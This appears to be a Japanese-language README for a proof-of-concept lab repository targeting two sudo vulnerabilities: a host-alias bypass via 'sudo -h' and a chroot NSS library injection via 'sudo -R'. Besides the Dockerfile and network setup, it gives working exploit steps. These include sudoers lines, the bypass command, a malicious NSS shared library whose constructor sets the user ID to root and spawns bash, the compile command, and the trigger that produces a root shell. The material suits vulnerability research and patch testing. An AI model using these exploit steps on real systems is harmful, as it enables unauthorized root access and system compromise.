CVE-2025-32462 & CVE-2025-32463 – 高度な PoC ラボ

このリポジトリは、2 つの重大な sudo の脆弱性に対するコンテナベースのラボと詳細な PoC を提供します。

CVE-2025-32462 – sudo -h ホスト一致ロジックのバイパス
CVE-2025-32463 – sudo -R chroot NSS ライブラリのエスケープ

研究とクレジット

原著研究: Rich Mirch – Stratascale CRU
PoC とラボ環境: MAAYTHM

技術概要

CVE-2025-32462 – ホスト検証ロジックのバイパス

sudo は /etc/sudoers 内の Host_Alias を通じてホストベースの認可を実施します。
この脆弱性は、-h オプションが指定された場合に発生します。sudo はシステムの正規ホスト名ではなく、指定されたホスト名を評価するため、制限されたユーザーがホストベースの sudo ポリシーをバイパスできるようになります。

影響:

ホストベースのポリシーバイパス
権限昇格
不正な root コマンド実行

CVE-2025-32463 – Chroot 経由の NSS インジェクション

sudo の -R オプションを使用すると、chroot 環境内で実行できます。初期化中に、NSS（Name Service Switch）ライブラリが /etc/nsswitch.conf に基づいてロードされます。悪意のある chroot 環境とカスタム NSS ライブラリを提供することで、攻撃者は root としてコードを実行できます。

攻撃対象領域:

制御された chroot ファイルシステム
攻撃者が定義した nsswitch.conf
動的にロードされるカスタム NSS 共有ライブラリ
昇格された権限で実行されるコンストラクタコード

影響:

root 権限昇格
chroot コンテキスト内での任意コード実行

ラボ環境

ベース OS: Ubuntu 24.04
脆弱な sudo バージョン: 1.9.16p2
ユーザー: pwn（非 root）
分離方式: カスタムネットワークを使用した Docker コンテナ

リポジトリ構成

CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│   # Builds vulnerable sudo environment
│
├── exploit/
│   ├── cve_2025_32463.c
│   │   # Malicious NSS shared library used for privilege escalation
│   └── build.sh
│       # Compiles the exploit payload into a shared NSS module
│
├── lab/
│   └── setup.sh
│       # Automates vulnerable lab configuration and sudoers setup
│
└── README.md
    # Technical documentation, vulnerability analysis, and PoC usage guide

完全な技術分析、PoC ウォークスルー、およびエクスプロイトガイド

Docker ラボのセットアップ

FROM ubuntu:24.04

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
                       pkg-config libssl-dev git nano gcc && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
    tar xzf sudo-1.9.16p2.tar.gz && \
    cd sudo-1.9.16p2 && \
    ./configure --disable-gcrypt --prefix=/usr && \
    make && make install

RUN useradd -m -s /bin/bash pwn && \
    echo 'pwn:pwn' | chpasswd

USER pwn
WORKDIR /home/pwn

CMD ["/bin/bash"]

ラボのビルドと実行

docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
  --network sudolabnet \
  --ip 172.190.0.3 \
  --hostname lowpriv.test.local \
  --add-host highpriv.test.local:172.190.0.2 \
  --name lowpriv \
  sudo-vuln-lab tail -f /dev/null

CVE-2025-32462 – エクスプロイト

docker exec -u root -it lowpriv bash
echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers

通常の動作:

sudo id
# Password required

エクスプロイト:

sudo -h highpriv.test.local id
# uid=0(root) gid=0(root) groups=0(root)
sudo -h highpriv.test.local hostname -f
# lowpriv.test.local

CVE-2025-32463 – エクスプロイト

mkdir -p exploitDir/etc
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
mkdir libnss_
cp /etc/group exploitDir/etc/

悪意のある NSS ライブラリ:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void GIVEMEROOT(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}

コンパイル:

gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c

トリガー:

sudo -R exploitDir <command>
# Root shell obtained
id
# uid=0(root) gid=0(root)

人気

CVE-2025-32462-CVE-2025-32463-PoC-Lab